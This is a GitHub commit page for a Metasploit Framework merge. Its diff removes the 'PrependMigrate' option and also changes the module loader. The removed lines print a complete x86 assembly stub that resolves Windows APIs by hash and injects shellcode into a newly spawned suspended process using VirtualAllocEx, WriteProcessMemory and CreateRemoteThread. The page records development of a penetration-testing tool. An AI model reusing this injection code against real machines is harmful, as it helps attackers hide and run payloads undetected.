Skip to content

Commit 12de87e

Browse files
committed
Merge branch 'rapid7' into mubix-remove_delicious
[Closes rapid7#946]
2 parents 49948fa + 469f04d commit 12de87e

File tree

8 files changed

+563
-220
lines changed

8 files changed

+563
-220
lines changed

lib/msf/core/exploit.rb

Lines changed: 0 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1242,15 +1242,6 @@ def handler_enabled?
12421242
not datastore['DisablePayloadHandler']
12431243
end
12441244

1245-
#
1246-
# Returns the state of the PrependMigrate option
1247-
# See https://github.com/rapid7/metasploit-framework/pull/917
1248-
# for discussion.
1249-
#
1250-
def prepend_migrate?
1251-
datastore['PrependMigrate']
1252-
end
1253-
12541245
##
12551246
#
12561247
# Handler interaction

lib/msf/core/modules/loader/base.rb

Lines changed: 3 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -541,7 +541,9 @@ def restore_namespace_module(parent_module, relative_name, namespace_module)
541541
# the const may have been redefined by {#create_namespace_module}, in which case that new namespace_module needs
542542
# to be removed so the original can replace it.
543543
if parent_module.const_defined? relative_name
544-
remove_const relative_name
544+
parent_module.instance_eval do
545+
remove_const relative_name
546+
end
545547
end
546548

547549
parent_module.const_set(relative_name, namespace_module)

lib/msf/core/payload/windows.rb

Lines changed: 2 additions & 200 deletions
Original file line numberDiff line numberDiff line change
@@ -26,7 +26,7 @@ module Msf::Payload::Windows
2626
# This mixin is chained within payloads that target the Windows platform.
2727
# It provides special variable substitution for things like EXITFUNC and
2828
# automatically adds it as a required option for exploits that use windows
29-
# payloads. It also provides the migrate prepend.
29+
# payloads.
3030
#
3131
def initialize(info = {})
3232
ret = super( info )
@@ -53,206 +53,8 @@ def initialize(info = {})
5353
[
5454
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'process' ])
5555
], Msf::Payload::Windows )
56-
register_advanced_options(
57-
[
58-
Msf::OptBool.new('PrependMigrate', [ true, "Spawns and runs shellcode in new process", false ]),
59-
Msf::OptString.new('PrependMigrateProc', [ false, "Process to spawn and run shellcode in" ])
60-
], Msf::Payload::Windows )
61-
ret
62-
end
63-
64-
#
65-
# Overload the generate() call to prefix our stubs
66-
#
67-
def generate(*args)
68-
# Call the real generator to get the payload
69-
buf = super(*args)
70-
pre = ''
71-
72-
test_arch = [ *(self.arch) ]
73-
74-
# Handle all x86 code here
75-
if (test_arch.include?(ARCH_X86))
76-
77-
# PrependMigrate
78-
if (datastore['PrependMigrate'])
79-
payloadsize = "0x%04x" % buf.length
80-
procname = datastore['PrependMigrateProc'] || 'rundll32'
81-
82-
migrate_asm = <<EOS
83-
cld ; Clear the direction flag.
84-
call start ; Call start, this pushes the address of 'api_call' onto the stack.
85-
api_call:
86-
pushad ; We preserve all the registers for the caller, bar EAX and ECX.
87-
mov ebp, esp ; Create a new stack frame
88-
xor edx, edx ; Zero EDX
89-
mov edx, [fs:edx+48] ; Get a pointer to the PEB
90-
mov edx, [edx+12] ; Get PEB->Ldr
91-
mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
92-
next_mod: ;
93-
mov esi, [edx+40] ; Get pointer to modules name (unicode string)
94-
movzx ecx, word [edx+38] ; Set ECX to the length we want to check
95-
xor edi, edi ; Clear EDI which will store the hash of the module name
96-
loop_modname: ;
97-
xor eax, eax ; Clear EAX
98-
lodsb ; Read in the next byte of the name
99-
cmp al, 'a' ; Some versions of Windows use lower case module names
100-
jl not_lowercase ;
101-
sub al, 0x20 ; If so normalise to uppercase
102-
not_lowercase: ;
103-
ror edi, 13 ; Rotate right our hash value
104-
add edi, eax ; Add the next byte of the name
105-
loop loop_modname ; Loop untill we have read enough
106-
; We now have the module hash computed
107-
push edx ; Save the current position in the module list for later
108-
push edi ; Save the current module hash for later
109-
; Proceed to iterate the export address table,
110-
mov edx, [edx+16] ; Get this modules base address
111-
mov eax, [edx+60] ; Get PE header
112-
add eax, edx ; Add the modules base address
113-
mov eax, [eax+120] ; Get export tables RVA
114-
test eax, eax ; Test if no export address table is present
115-
jz get_next_mod1 ; If no EAT present, process the next module
116-
add eax, edx ; Add the modules base address
117-
push eax ; Save the current modules EAT
118-
mov ecx, [eax+24] ; Get the number of function names
119-
mov ebx, [eax+32] ; Get the rva of the function names
120-
add ebx, edx ; Add the modules base address
121-
; Computing the module hash + function hash
122-
get_next_func: ;
123-
jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
124-
dec ecx ; Decrement the function name counter
125-
mov esi, [ebx+ecx*4] ; Get rva of next module name
126-
add esi, edx ; Add the modules base address
127-
xor edi, edi ; Clear EDI which will store the hash of the function name
128-
; And compare it to the one we want
129-
loop_funcname: ;
130-
xor eax, eax ; Clear EAX
131-
lodsb ; Read in the next byte of the ASCII function name
132-
ror edi, 13 ; Rotate right our hash value
133-
add edi, eax ; Add the next byte of the name
134-
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
135-
jne loop_funcname ; If we have not reached the null terminator, continue
136-
add edi, [ebp-8] ; Add the current module hash to the function hash
137-
cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
138-
jnz get_next_func ; Go compute the next function hash if we have not found it
139-
; If found, fix up stack, call the function and then value else compute the next one...
140-
pop eax ; Restore the current modules EAT
141-
mov ebx, [eax+36] ; Get the ordinal table rva
142-
add ebx, edx ; Add the modules base address
143-
mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
144-
mov ebx, [eax+28] ; Get the function addresses table rva
145-
add ebx, edx ; Add the modules base address
146-
mov eax, [ebx+4*ecx] ; Get the desired functions RVA
147-
add eax, edx ; Add the modules base address to get the functions actual VA
148-
; We now fix up the stack and perform the call to the desired function...
149-
finish:
150-
mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
151-
pop ebx ; Clear off the current modules hash
152-
pop ebx ; Clear off the current position in the module list
153-
popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
154-
pop ecx ; Pop off the origional return address our caller will have pushed
155-
pop edx ; Pop off the hash value our caller will have pushed
156-
push ecx ; Push back the correct return value
157-
jmp eax ; Jump into the required function
158-
; We now automagically return to the correct caller...
159-
get_next_mod: ;
160-
pop eax ; Pop off the current (now the previous) modules EAT
161-
get_next_mod1: ;
162-
pop edi ; Pop off the current (now the previous) modules hash
163-
pop edx ; Restore our position in the module list
164-
mov edx, [edx] ; Get the next module
165-
jmp next_mod ; Process this module
166-
;--------------------------------------------------------------------------------------
167-
start: ;
168-
pop ebp ; Pop off the address of 'api_call' for calling later.
169-
170-
; get our own startupinfo at esp+0x60
171-
add esp,-400 ; adjust the stack to avoid corruption
172-
mov edx,esp
173-
add edx,0x60
174-
push edx
175-
push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
176-
call ebp ; GetStartupInfoA( &si );
17756

178-
; ptr to startupinfo is in eax
179-
; pointer to string is in ecx
180-
jmp getcommand
181-
gotcommand:
182-
pop esi ; esi = address of process name (command line)
183-
184-
; create the process
185-
mov edi,eax
186-
add edi,0x60 ; Offset of empty space for lpProcessInformation
187-
push edi ; lpProcessInformation : write processinfo here
188-
push eax ; lpStartupInfo : current info (read)
189-
xor ebx,ebx
190-
push ebx ; lpCurrentDirectory
191-
push ebx ; lpEnvironment
192-
push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
193-
push ebx ; bInHeritHandles
194-
push ebx ; lpThreadAttributes
195-
push ebx ; lpProcessAttributes
196-
push esi ; lpCommandLine
197-
push ebx ; lpApplicationName
198-
199-
push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
200-
call ebp ; CreateProcessA( &si );
201-
202-
; allocate memory in the process (VirtualAllocEx())
203-
; get handle
204-
push 0x40 ; RWX
205-
add bh,0x10 ; ebx = 0x1000
206-
push ebx ; MEM_COMMIT
207-
push ebx ; size
208-
xor ebx,ebx
209-
push ebx ; address
210-
push [edi] ; handle
211-
push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
212-
call ebp ; VirtualAllocEx( ...);
213-
214-
; eax now contains the destination
215-
; WriteProcessMemory()
216-
push esp ; lpNumberOfBytesWritten
217-
push #{payloadsize} ; nSize
218-
; pick up pointer to shellcode & keep it on stack
219-
jmp begin_of_payload
220-
begin_of_payload_return: ; lpBuffer
221-
push eax ; lpBaseAddress
222-
push [edi] ; hProcess
223-
push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
224-
call ebp ; WriteProcessMemory( ...);
225-
226-
; run the code (CreateRemoteThread())
227-
push ebx ; lpthreadID
228-
push ebx ; run immediately
229-
push ebx ; no parameter
230-
mov ecx,[esp-0x4]
231-
push ecx ; shellcode
232-
push ebx ; stacksize
233-
push ebx ; lpThreadAttributes
234-
push [edi]
235-
push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
236-
call ebp ; CreateRemoteThread( ...);
237-
238-
;sleep
239-
push -1
240-
push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
241-
call ebp ; Sleep( ... );
242-
243-
getcommand:
244-
call gotcommand
245-
db "#{procname}"
246-
db 0x00
247-
begin_of_payload:
248-
call begin_of_payload_return
249-
EOS
250-
251-
pre << Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
252-
end
253-
end
254-
255-
return (pre + buf)
57+
ret
25658
end
25759

25860
#

0 commit comments

Comments
 (0)